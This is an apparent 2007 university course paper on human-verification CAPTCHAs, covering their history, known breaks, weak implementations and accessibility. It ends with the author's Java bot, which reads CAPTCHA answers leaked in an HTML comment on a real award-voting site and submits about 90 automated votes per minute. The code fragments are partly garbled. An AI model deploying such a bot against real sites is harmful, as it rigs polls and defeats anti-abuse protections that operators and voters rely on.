

Title: Automating Human Verification

Student: Kurt Alfred Kluever

Course: Privacy and Security (4003-471)

Quarter: 20062 (Winter 2006/2007)

Professor: Warren R. Carithers

Date: Thursday, February 8, 2007

Table of Contents

Topic	Page #
Introduction	1
Background	1
Necessity of Human Verification	2
History	3
Theoretical Implementations	4
Concrete Implementations	5
Breaking Implementations	7
Weak Implementations	8
Accessibility	8
Conclusion	9
Bibliography	10
Code Example	12
Preface	12
Implementation	12
Code	13

Introduction

Spam has come to be a serious problem on the Internet. The California legislature reported that spam caused more than \$10 billion of damage to United States organizations in 2004 (Spam (electronic), 1). Spam bots are typically automated programs that attempt to mimic humans by harvesting, generating fake email accounts, and sending out spam from generated accounts. The need to prevent automation of these activities first arose in the late 1990s. The goal was to prove that a user was human, and not an automated bot, before allowing access to a given service. Online automated human verification can be implemented through a variety of approaches, but they all must have the following three properties: security, ease of use, and accessibility.

Background

A common 1950s party game, called the Imitation Game, involved a human judge and two human respondents, one of each gender. Each respondent would go into separate rooms and questions would be passed, under the door, by the human judge. The respondents would type their answers and submit them back to the judge. It would be the judge's job to determine which respondent was male and which respondent was female (Turing, 1).

Alan Turing's 1950 paper, "Computing machinery and intelligence", attempted to answer the question, "Can machines think?" (Turing, 1). Inspired by the Imitation Game, he developed the "Turing test". The test involves a human judge, a human respondent, and a machine. Turing altered the game by substituting a machine for one of the human respondents. The goal of the Turing test is to determine whether the human judge can reliably differentiate between the human respondent and the machine (Turing test, 1). If the machine can trick the human judge into believing that it is the human, the machine is said to pass the Turing test. The Turing test, at this point, was limited to text-only channels such as teletypes. More recently Turing tests use IRC or IM as communication channels.

Although Turing did not mention a "reverse Turing test" in his paper, this term typically describes a Turing test in which any of the three roles are swapped (Reverse Turing test, 1). A common reverse Turing test is one where "a computer administers a test to determine if the subject is or is not

human” (Reverse Turing test, 2). The goal of this area of study is to develop questions that humans can correctly answer but a machine cannot. Thus we arrive at a rather ironic situation: “Here you have a computer program that creates a test, administers it and grades it, but can’t pass its own test” (Spice, 1).

Necessity of Human Verification

The reverse Turing test presents an interesting theoretical situation, but the practical applications of the test are not readily apparent. In Luis von Ahn’s recent paper in Eurocrypt, he describes five online applications where human verification is necessary (von Ahn, 1):

- **Online Polls/Online Voting.** Polling is obviously a situation in which the integrity of the results would be compromised if machines could be programmed to vote. A poll can only be trusted if it is restricted to humans. However, by use of human verification, you still cannot guarantee that each human only answers once.
- **Free Email Services.** If bots can be programmed to generate free email accounts at companies such as Yahoo! or Hotmail, they would be able to spam thousands of people with ease. To prevent this, email services could require a user to verify they are a human before allowing a signup.
- **Search Engine Bots.** If you do not want your webpage to be indexed by search engine bots/crawlers, you can specify an HTML tag to deter them. However the ultimate decision relies on the integrity of the crawler not to index the page. To prevent a search crawler from indexing your page, you could require users to prove that they are human before entering your website.
- **Worms and Spam.** In order to completely eliminate spam, you could require your sender to verify that they are human before you accept their email. This could be achieved by providing the sender with a human verification challenge that they must correctly pass.
- **Preventing Brute Force Attacks.** Many password crackers use the exhaustive search method to crack passwords. Assuming a password is relatively short, a fast computer can try all possible

character combinations in a very short time. If users were required to prove that they are human before attempting to logon, this would completely eliminate brute force password attacks.

History

Luis von Ahn's paper also suggests a possible solution to the problem by presenting the user with a "distorted word" (von Ahn, 2) that they must reproduce. His claim that this is a valid technique to verify humans is based on the fact that "current computer programs are not as good as humans at reading distorted text" (von Ahn, 2).

Early internet hackers of the 1980s are often credited with the idea of "masking text" (CAPTCHA, 1). When trying to obscure sensitive data online, these hackers would use the simple technique of substituting numbers for text (eg, '1' for 'l' or '4' for 'A'). The algorithms they used were extremely rudimentary but would fool the current filters or web crawlers in place at the time. The end result was something that a fellow human could read (with a minor degree of difficulty) but a computer could not recognize. The concept obfuscating text evolved into what is currently known as "leetspeak". The technique was originally used to get around profanity filters put in place for online commenting systems/forums. These filters were extremely simple and banned a predefined set of special four-letter words; therefore, "sh!t" would not be filtered. This was the first widespread example of a reverse Turing test.

With the recent massive increase in the amounts of spam being delivered to inboxes around the world, people have been concerned with publishing their email address online. Spam crawlers process thousands of web pages per hour, looking for email addresses in clear text. Many people have resorted to trying to fool spam bots by posting their email addresses in a convoluted form. For example, the text string "kak2112 AT rit.edu" is not easily parsed by spam bots. Most of them are so simple that they will skip over this. However, humans can identify that the poster's real email address is kak2112@rit.edu. This solution is not perfect, as all text based data is inherently insecure against parsing. A simple set of regular expressions could easily match many predefined text masquerading patterns and successfully harvest the email address.

Theoretical Implementations

As previously mentioned, text based data is inherently insecure against harvesting. The underlying reason is that text data is stored with specific values according to a predefined character set. It is necessary for computers to have a common understanding of the character sets in order to properly process data. Therefore, text data could not reliably be used to verify that the user is a human.

Moni Naor's 1996 manuscript entitled "Verification of a human in the loop, or Identification via the Turing Test" proposed "using a Turing test in order to verify that a human is the one making a query to a service over the web" (Naor, 1). Naor provided the following possible implementations in his paper (Naor, 3):

- Gender recognition. Given face, determine which gender it is. Since only two possible responses exist (male or female), a machine could easily achieve a 0.50 probability rate of passing the test, just by guessing. Therefore, Naor suggests using a set of four or more pictures that the user must correctly identify. This would then drop the probability down to 0.0625 or worse.
- Facial expression understanding. Given a picture of a face, decided whether the person is happy or sad.
- Find body parts. Given a picture of a body, identify where a certain body part is. For example, click on the left ear.
- Deciding nudity. Given several pictures of humans, determine which picture contains the nude person. This implementation is not suggested due to the obvious negative social response.
- Native Drawing understanding. Given a photograph, determine what the subject of the photograph is (for example, a house or a boat).
- Handwriting understanding. Given a handwritten word with noise added, the user must retype the word. Note that many current implementations of image based validation are based on this approach.

- Speech recognition. Given a clip of spoken audio, have the user transcribe the text. The downside to this approach is that users may misspell words or mishear the text.
- Filling in words. Given a sentence without a subject, the user must select which noun best fits the sentence.
- Disambiguation. Given a set of sentences with a pronoun, determine what noun the pronoun refers to.

Naor's manuscript further explains that a successful implementation of the reverse Turing test should have the following four properties (Naor, 3). It should be (1) "easy to generate many instances of the problem, together with their unambiguous solution" and should ideally not require any human interaction to create them. Humans should also be able to solve the problems (2) effortlessly, quickly, and successfully. Even the (3) best solving programs should still fail the test a significant number of times. The test itself should be (4) small, easy to communicate and easy to interpret by the user. "Web bots basically stumble trying to perform simple tasks that humans, even those not terribly bright, can do in their sleep" (Crissey, 1). The problem with most of Naor's theoretical implementations is that it requires extensive upfront work by whoever implements the solution. The developer must pre-program in the correct responses for a given challenge. The only suggested implementations that can be generated on the fly by a computer are the handwriting and speech recognition approaches.

Concrete Implementations

AltaVista developed the first concrete implementation the year after Naor's paper was published. AltaVista had recently been getting many automated URL submissions to their search engine by spam bots. AltaVista contacted the Digital Equipment Systems Research Center and asked them to develop a solution to this problem. To combat this, the team of developers created an image based verification system using Naor's handwriting technique. However, they realized that although an image containing text was a step in the right direction, it could easily be foiled by use of OCR software. OCR, or Optical Character Recognition, software is "a type of computer software designed to translate images of handwritten or typewritten text into machine-editable text" (Optical character recognition, 1). To prevent

OCR of the image, the team referenced a manual for a scanner with OCR capabilities. In order to improve OCR results, the manual suggested using “similar typefaces, plain backgrounds, etc” (CAPTCHA, 1). To create an image that was resilient to OCR, they did the exact opposite of the suggestions.

Another web service company, Yahoo!, also became very interested in human verification technology in 2001. The free email accounts that they provided to users were being abused by spammers. By 2002, Microsoft’s Hotmail was also experiencing similar problems and solved it by using human verification technologies. Spammers had written automated bots to sign up for the free email accounts and then used them to send massive amounts of spam from them. Yahoo! was in dire need of a solution to this problem. Dr. Udi Manber, Yahoo!’s chief scientist, contacted the Department of Computer Science at Carnegie Mellon University. He requested a concrete implementation based on one of Naor’s theoretical suggestions.

Manber’s request of Carnegie Mellon University gave birth to the CAPTCHA project. CAPTCHA is a term used to describe any human verification technique. CAPTCHA, a play on the word “gotcha”, is an acronym for “Completely Automated Public Turing test to tell Computers and Humans Apart”. The acronym is trademarked by CMU but Naor’s theoretical ideas are not. Manuel Blum, a cryptographer and theoretical computer scientist, was elected as the lead developer of the project (Robinson, 1). His graduate student Luis von Ahn, whose paper is referenced above, aided Blum in the development of the CAPTCHA project.

The reason that the CAPTCHA project is so different than the image warping technique developed at AltaVista nearly 3 years prior, is that the CAPTCHA project is open source. In fact, one of the lead developers on the AltaVista team, Andrei Broder, praised the CMU team for “defining the broader challenge and seeing its importance” (Robinson, 2). The CMU team decided to open source the project for two reasons. The first reason is to demonstrate the robustness of the generation algorithm. This showed that “breaking it requires the solution to a difficult problem in the field of artificial intelligence (AI) rather than just the discovery of the (secret) algorithm” (CAPTCHA, 2). The second

reason to open source was to create a contest among the AI community. Attempts to break the CAPTCHAs are actually welcomed by the team. “Either a CAPTCHA is not broken and there is a way to differentiate humans from computers, or the CAPTCHA is broken and an AI problem is solved” (The CAPTCHA Project, 2).

Breaking Implementations

Despite efforts to prevent OCR, many image based verifications can still be broken by modern OCR software. The CAPTCHA project declares that an implementation has been broken when a machine can consistently achieve 0.75 probability of passing the test. Based on personal experience, that probability closely resembles a human’s ability to correctly pass some of the more complex image verifications. The CAPTCHA project has accredited the following teams with successfully cracking a CAPTCHA implementation (The CAPTCHA Project, 2):

- Gabriel Moy, Nathan Jones, Curt Harkless, and Randy Potter of Areté Associates have developed an algorithm to pass the gimpy-r implementation with a probability of 0.78.
- Greg Mori and Jitendra Malik of the University of California at Berkeley have developed an algorithm to pass the ez-gimpy implementation with a probability of 0.93.
- Thayananthan, Stenger, Torr, and Cipolla of the Cambridge Vision Group have also developed an algorithm to pass the ez-gimpy implementation with a probability of 0.93.

The team at Areté Associates is working on a better approach to raise their probability closer to that of the ez-gimpy crack.

If an implementation cannot be broken through OCR, vulnerabilities still exist in image based verification. As Naor suggested, reverse Turing tests should be easy for humans to pass. This also implies that they can be quickly done with little effort. A W3C paper suggests using a sweatshop type operation that “could easily verify hundreds of them each hour” (CAPTCHA, 3). This would work by having “bots that start the process and send any CAPTCHAs they encounter to humans to complete” (Crissey, 3). Unfortunately there is no solution to such an attack at this time. However, the associated cost with such an attack is thought to be a preventative deterrent on its own.

Weak Implementations

Most websites that choose to use image-based verification don't develop their own implementations. There are dozens of open source and commercial implementations available on the web. However, the end users must be careful when applying these implementations on their websites.

An extremely common technique to bypass image verification is session reuse. The first step is to decode an image manually. For example, say the attacker realizes that image XYZ.jpg contains the text "ABCD". Then during the attack, he simply tells the web server that he was given image XYZ.jpg and the corresponding text is "ABCD". If the web server does not correctly handle sessions, it will simply apply the generation algorithm in reverse to validate the attacker's response. Or if the image is picked randomly from a set of predefined images, the web server will happily match the image to the submitted text. Since it is true that image XYZ.jpg contains the text ABCD, the attacker's form is successfully processed.

Another mistake when choosing to apply someone else's implementation is exposing the generation algorithm. An example of this is forgetting to remove the call to the convert program. An example attack is explained and implemented in the attached Code Example.

Accessibility

Proving that a user is indeed a human through image validation has shown to be a relatively reliable technique. However, what happens if the person has limited or impaired vision and cannot pass the test? Does this mean that they are not human? "Blind and partially sighted people are the inadvertent victims in a war being fought against the software robots used by spammers" (Computer Pioneer Aids Spam Fight, 1). The term CAPTCHA, although commonly associated with image verification techniques, is not limited to only visual methods. A CAPTCHA, by definition, is an automated way to tell computers and humans apart. An increasing number of websites are now providing users with an alternative to image based verification. They are allowing users to download a short audio clip and enter the characters that they have heard in the clip. A graduate student at the City University of Hong Kong, Nancy Chan, is

working on a system that overlays white noise and other distractions onto a clip created by a speech generator (Computer Pioneer Aids Spam Fight, 3) in order to foil speech recognition attacks.

But what happens if the user is both blind and deaf? The solution to this question still has not been found. Currently this small subset of users is excluded from using websites that require human verification. Many critics argue that a deaf and blind person would not be using the Internet at all. However, through the use Braille readers, many with this disability can still take advantage of the Internet.

It has been theorized that “site owners could become target of litigation if they are using CAPTCHAs that discriminate against certain people with disabilities” (CAPTCHA, 2). The Americans with Disabilities Act of 1990 is a set of civil laws that “prohibits, under certain circumstances, discrimination based on disability” (Americans with Disabilities Act of 1990, 1). Unfortunately, site owners are on a slippery slope. Should they comply with the ADA and choose not to implement human verification techniques? Or should they prevent potential spammers from abuse their websites? According to Julie Howell of the Royal National Institute for the Blind, “security and accessibility must co-exist, not conflict” (Computer Pioneer Aids Spam Fight, 3).

Conclusion

The overwhelming amount of spam on the Internet has been throttled through the use of human verification techniques. However, the key to implementing a successful human verification technique is to correctly balance security, ease of use, and accessibility. On one side of the sliding scale there are human verification techniques that take a human a few minutes to correctly answer. These are nearly impossible to crack with computers. On the other side of the sliding scale, there are simple, easy verification techniques. Although users can quickly and painlessly pass the test, so can computers. The difficulty is finding a middle ground where both security and ease of use can co-exist, while still being respectful of those with disabilities.

Bibliography

"Americans with Disabilities Act of 1990." Wikipedia, The Free Encyclopedia. 4 Feb 2007, 22:29 UTC.

Wikimedia Foundation, Inc. 7 Feb 2007

<http://en.wikipedia.org/w/index.php?title=Americans_with_Disabilities_Act_of_1990&oldid=105664588>.

"CAPTCHA." Wikipedia, The Free Encyclopedia. 6 Feb 2007, 15:20 UTC. Wikimedia Foundation, Inc. 6

Feb 2007 <<http://en.wikipedia.org/w/index.php?title=CAPTCHA&oldid=106062981>>.

"Computer Pioneer Aids Spam Fight." BBC NEWS. 8 Jan. 2003. 6 Feb. 2007

<<http://news.bbc.co.uk/2/hi/technology/2635855.stm>>.

Crissey, Mike. "Researchers Battle E-Mail Stealing Web Bots with Identity Checks." USA Today. 24

Dec. 2002. The Associated Press. 6 Feb. 2007 <http://www.usatoday.com/tech/news/2002-12-24-web-bots_x.htm>.

Naor, Moni, comp. Verification of a Human in the Loop or Identification Via the Turing Test. 13 Sept.

1996. Weizmann Institute of Science. 6 Feb. 2007

<<http://www.wisdom.weizmann.ac.il/~naor/PAPERS/human.ps>>.

"Optical character recognition." Wikipedia, The Free Encyclopedia. 2 Feb 2007, 23:31 UTC. Wikimedia

Foundation, Inc. 6 Feb 2007

<http://en.wikipedia.org/w/index.php?title=Optical_character_recognition&oldid=105212612>.

"Reverse Turing test." Wikipedia, The Free Encyclopedia. 6 Aug 2006, 11:49 UTC. Wikimedia

Foundation, Inc. 6 Feb 2007

<http://en.wikipedia.org/w/index.php?title=Reverse_Turing_test&oldid=67994859>.

Robinson, Sara. "Can Hard AI Problems Foil Internet Interlopers?" SIAM News. 3 Apr. 2002. Society for

Industrial and Applied Mathematics. 6 Feb. 2007 <<http://www.siam.org/news/news.php?id=410>>.

Robinson, Sara. "Human or Computer? Take This Test." The New York Times. 12 Dec. 2002. The New York Times Company. 6 Feb. 2007

<<http://www.nytimes.com/2002/12/10/science/physical/10COMP.html>>.

"Spam (electronic)." Wikipedia, The Free Encyclopedia. 5 Feb 2007, 15:29 UTC. Wikimedia Foundation, Inc. 7 Feb 2007

<http://en.wikipedia.org/w/index.php?title=Spam_%28electronic%29&oldid=105809777>.

Spice, Byron. "Robot Solves Internet Robot Problem." PG News. 21 Oct. 2001. Post Gazette. 6 Feb. 2007

<<http://www.post-gazette.com/healthscience/20011021blumside1021p4.asp>>.

"The CAPTCHA Project." School of Computer Science at Carnegie Mellon University. 6 Feb. 2007

<<http://www.captcha.net/>>.

Turing, Alan M. "Computing Machinery and Intelligence." MIND LIX.236 (1950): 433-460. 6 Feb. 2007

<<http://www.abelard.org/turpap/turpap.htm>>.

"Turing test." Wikipedia, The Free Encyclopedia. 6 Feb 2007, 18:10 UTC. Wikimedia Foundation, Inc. 6 Feb 2007 <http://en.wikipedia.org/w/index.php?title=Turing_test&oldid=106100317>.

Von Ahn, Luis, Manuel Blum, Nick Hopper, and John Langford. "CAPTCHA: Using Hard AI Problems for Security." Eurocrypt (2003). 6 Feb. 2007

<http://www.cs.cmu.edu/~biglou/captcha_crypt.pdf>.

Code Example

Preface:

The RIT men's hockey goalie, Jocelyn Guimond, is a current candidate for the Hobey Baker Memorial Award. This award is given annually to the top American college hockey player. The award commemorates Hobey Baker, a well known hockey player and World War 1 hero. The Hobey Baker website (<http://www.hobeybaker.com/ballot/>) is currently conducting online voting to determine the winner of the award. As suggested by Luis von Ahn in "CAPTCHA: Using Hard AI Problems For Security", a practical application of CAPTCHAs is for online polls/voting. The Hobey Baker website has taken this suggestion and implemented a CAPTCHA that the voter must pass before casting a vote.

Implementation:

The HobeyBaker website has chosen a good implementation, but made a massive oversight that allows an attacker to automate the voting process. Upon inspection, the filename of the image they wish you to verify is the result of applying the MD5 algorithm to the clear text. For example, if the text of the image is "2bba12db", then the corresponding file name is "c6889fc643291849eee7ab52ba8e1ab5.jpg". Since MD5 is believed to be a one-way hash, this isn't necessarily bad in itself (although there are many large rainbow tables for reversing the MD5 algorithm in existence). However, this fixed algorithm is most likely to a session reuse attack. The large oversight that was made is in the HTML for the voting page. They included (as a comment), the call to the convert command which renders the text into the image. This is a snippet from the voting page:

```
<div class="innerwide"><div class="plugin"><!-- CONVERT: /usr/local/bin/convert
"/data/www/lib/images/itv.gif" -pointsize 20 -annotate +5+30 "2bba12db"
"/tmp/imagetextvalidation/c6889fc643291849eee7ab52ba8e1ab5.jpg" --><div id="poll_bg">
```

This mistake has exposed both the image name and the clear text. Below is code I wrote to demonstrate the weakness (and at the same time, supporting our local RIT hockey player by voting for him about 90 times per minute).

```

package com.kloover.hockeyvoter;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.NoSuchElementException;
import java.util.StringTokenizer;

public class HockeyVoter {
    private static final String hostname = "www.hobeybaker.com";
    private static final int port = 80;
    private static final String LB = "\r\n";
    private static InetAddress addr;
    private static int numberOfVotesMade = 0;
    private static long startTime;
    private Socket socket;
    private BufferedWriter wr;
    private BufferedReader rd;
    private String clearText;
    private String imageName;

    public static void main(String args[]) {
        try {
            addr = InetAddress.getByName(hostname);
        } catch (UnknownHostException e1) {
            e1.printStackTrace();
        }
        startTime = System.currentTimeMillis();
        for (int i = 0; i < 5; i++) {
            Thread t = new Thread("Thread " + i) {
                public void run() {
                    new HockeyVoter();
                }
            };
            t.start();
        }
    }

    public HockeyVoter() {
        while (true) {
            try {
                getBallot();
            } catch (IOException e) {
                System.out.println(e.getMessage() + ": IOException, trying again!");
            } catch (NoSuchElementException e) {
                System.out.println(e.getMessage() + ": NoSuchElementException, trying again!");
            } catch (Exception e) {
                System.out.println(e.getMessage() + ": Exception, trying again!");
            }
        }
    }

    private void setupSocket() throws IOException {
        socket = new Socket(addr, port);
        wr = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), "UTF8"));
        rd = new BufferedReader(new InputStreamReader(socket.getInputStream()));
    }

    private void getBallot() throws IOException {
        // Send header
        writeHeader("GET", "/ballot/", null);
        // Get response
        String line;
        boolean found = false;
        while (((line = rd.readLine()) != null) && (!found)) {
            // Process line...
            if (line.contains("CONVERT:")) {
                //
            }
        }
    }
}

```

```

        // Example of the line we are at:
        //
        // <div class="innerwide"><div class="plugin"><!-- CONVERT:
        // /usr/local/bin/convert "/data/www/lib/images/itv.gif"
        // -pointsize 20 -annotate +5+30 "2bba12db"
        // "/tmp/imagetextvalidation/c6889fc643291849eee7ab52ba8e1ab5.jpg"
        // --><div id="poll_bg">
        StringTokenizer st = new StringTokenizer(line, "\\");
        for (int i = 0; i < 7; i++) {
            st.nextToken();
        }
        clearText = st.nextToken();
        st.nextToken();
        StringTokenizer st2 = new StringTokenizer(st.nextToken(), "/");
        st2.nextToken();
        st2.nextToken();
        imageName = st2.nextToken();
        found = true;
    }
}
if (found) {
    socket.close();
    vote();
}
}

private void vote() throws IOException {
    // Construct data
    String data = "frm%5Bsurveyres%5D%5B%5D=3_2_14&frm%5Bitvimage%5D=%2Flib%2Fshare%2Fitv%2F"
        + imageName + "&frm%5Bitvtext%5D=" + clearText + "&act%5Bsurveysbm%5D=Vote";
    // Send header
    String path = "/ballot/index.html?frm[survey_id]=3";
    writeHeader("POST", path, data);

    // Get response
    String line;
    boolean found = false;
    while ((line = rd.readLine()) != null) && (!found)) {
        // Process line...
        if (line.contains("Found")) {
            found = true;
        }
    }
    if (found) {
        success();
        socket.close();
    }
}

private void success() {
    numberOfVotesMade++;
    double seconds = (System.currentTimeMillis() - startTime) / 1000.0;
    System.out.println(Thread.currentThread().getName() + " - Total votes: " + numberOfVotesMade
        + ", Votes/minute: " + ((numberOfVotesMade / seconds) * 60));
}

private void writeHeader(String method, String path, String data) throws IOException {
    setupSocket();
    wr.write(method + " " + path + " HTTP/1.1" + LB);
    wr.write("Host: " + hostname + LB);
    wr.write("Connection: closed" + LB);
    if (data != null) {
        wr.write("Content-Type: application/x-www-form-urlencoded" + LB);
        wr.write("Content-Length: " + data.length() + LB);
        wr.write(LB);
        wr.write(data);
    } else {
        wr.write(LB);
    }
    wr.flush();
}
}
}

```